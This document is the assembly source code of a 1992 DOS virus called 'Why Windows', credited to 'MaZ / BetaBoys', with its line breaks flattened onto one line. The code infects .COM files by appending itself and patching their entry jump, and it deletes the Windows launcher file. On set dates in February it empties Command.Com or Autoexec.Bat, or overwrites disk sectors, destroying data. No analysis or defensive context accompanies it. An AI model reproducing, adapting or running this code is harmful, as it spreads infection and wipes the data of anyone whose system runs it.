seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h ww proc far start: jmp loc_2 db 12 dup (90h) db 0CDh, 20h loc_2: jmp short loc_3 db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh db 00h, 00h data_8 db 'C:\Command.Com', 0 db 'C:\Autoexec.Bat', 0 db 'C:\Config.Sys', 0 db '\win' data_12 dw 6F64h db 'ws\win.com' db 00h,0E9h, 0Eh, 00h, 90h,0C8h db 01h loc_3: mov bx,101h mov ah,[bx] mov bx,102h mov al,[bx] xchg al,ah add ax,3 mov si,ax mov ah,1Ah lea dx,[si+2C8h] add dx,6 int 21h mov ah,4Eh lea dx,[si+103h] mov cx,6 int 21h cmp ax,12h je loc_7 lea dx,[si+10Ah] jmp short loc_6 db 90h loc_5: mov ah,4Dh int 21h mov ah,4Fh int 21h cmp ax,12h je loc_7 lea dx,[si+2C8h] add dx,24h loc_6: mov ah,3Dh mov al,2 int 21h mov bx,ax mov ah,42h mov al,2 mov dx,0 mov cx,0 int 21h push ax sub ax,6 mov dx,ax mov ah,42h mov al,0 mov cx,0 int 21h mov ah,3Fh mov cx,1 lea dx,[si+14Bh] int 21h mov ah,byte ptr data_8+30h[si] cmp ah,42h jne loc_8 jmp short loc_5 loc_7: jmp short loc_9 db 90h loc_8: mov ah,42h mov al,0 mov dx,0 mov cx,0 int 21h mov ax,3F00h mov cx,3 lea dx,[si+2C8h] add dx,3 int 21h mov ax,4200h mov dx,0 mov cx,0 int 21h pop ax sub ax,3 mov byte ptr data_8+2Eh[si],al mov byte ptr data_8+2Fh[si],ah mov ah,40h mov cx,3 lea dx,[si+148h] int 21h mov ax,4202h mov dx,0 mov cx,0 int 21h mov ah,40h lea dx,[si+100h] mov cx,data_12[si] int 21h mov ax,4000h lea dx,[si+2C8h] add dx,3 mov cx,3 int 21h jmp short loc_9 db 90h loc_9: mov ah,3Eh int 21h mov ah,41h lea dx,[si+137h] int 21h mov ah,2Ah int 21h cmp dh,2 jne loc_14 cmp dl,17h je loc_10 cmp dl,18h je loc_11 cmp dl,19h je loc_12 jmp short loc_14 db 90h loc_10: mov ah,3Ch lea dx,[si+119h] mov cx,1 int 21h jmp short loc_14 db 90h loc_11: mov ah,3Ch lea dx,[si+129h] mov cx,1 int 21h jmp short loc_14 db 90h loc_12: mov al,2 loc_13: mov cx,96h mov dx,0 int 26h inc al cmp al,4 jne loc_13 loc_14: mov cx,3 lea ax,[si+2C8h] mov si,ax mov di,100h rep movsb call sub_1 int 20h ww endp sub_1 proc near mov di,offset start jmp di db 'Why Windows ' copyright db '(c)1992 MaZ / BetaBoys B.B' db 90h, 90h, 90h sub_1 endp seg_a ends end start